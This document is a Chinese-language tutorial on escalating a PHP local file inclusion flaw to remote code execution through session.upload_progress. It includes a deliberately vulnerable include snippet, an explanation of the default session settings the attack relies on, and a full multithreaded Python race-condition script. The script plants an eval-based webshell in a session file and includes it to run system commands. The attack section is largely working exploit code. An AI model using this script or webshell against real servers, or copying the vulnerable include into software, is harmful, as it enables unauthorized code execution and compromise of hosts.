Session.upload_progress进行文件包含
适用情况
此方法适用于有文件包含漏洞,但是包含的文件做了限制或者不知道要包含什么文件,此种session方法就可以上传webShell然后进行包含,此方法为文件包含漏洞的扩展
测试环境
php5.5.38
win10
关于session相关的一切配置都是默认值
示例代码
<?php $b=$_GET['file']; include "$b"; ?>
可以发现,存在一个文件包含漏洞,但是找不到一个可以包含的恶意文件。其实,我们可以利用session.upload_progress
将恶意语句写入session文件,从而包含session文件。前提需要知道session文件的存放位置。
分析
问题一
我们要使用session的方法上传恶意文件,那么源代码中并没有构造session的相关代码,我们传上去的session应该不会被创建文件并保存吧
代码里没有session_start()
,如何创建session文件呢
这个问题就要讲另一个选项配置
其实,如果session.auto_start=On
,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。
但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。
所以我们上传的时候设置一个PHPSESSID=xxxx prefix=恶意代码就可以了
问题二
但是问题来了,默认配置session.upload_progress.cleanup = on
导致文件上传后,session文件内容立即清空,
那么如何进行包含呢
利用条件竞争,不停的上传Session文件,然后就可以进行包含了
条件竞争的脚本如下:
#coding=utf-8 import io import requests import threading sessid = 'TGAO' data = {"cmd":"system('whoami');"} def write(session): while True: f = io.BytesIO(b'a' * 1024 * 50) resp = session.post( 'http://127.0.0.1:5555/test56.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} ) def read(session): while True: resp = session.post('http://127.0.0.1:5555/test56.php?file=session/sess_'+sessid,data=data) if 'tgao.txt' in resp.text: print(resp.text) event.clear() else: print("[+++++++++++++]retry") if __name__=="__main__": event=threading.Event() with requests.session() as session: for i in xrange(1,30): threading.Thread(target=write,args=(session,)).start() for i in xrange(1,30): threading.Thread(target=read,args=(session,)).start() event.set()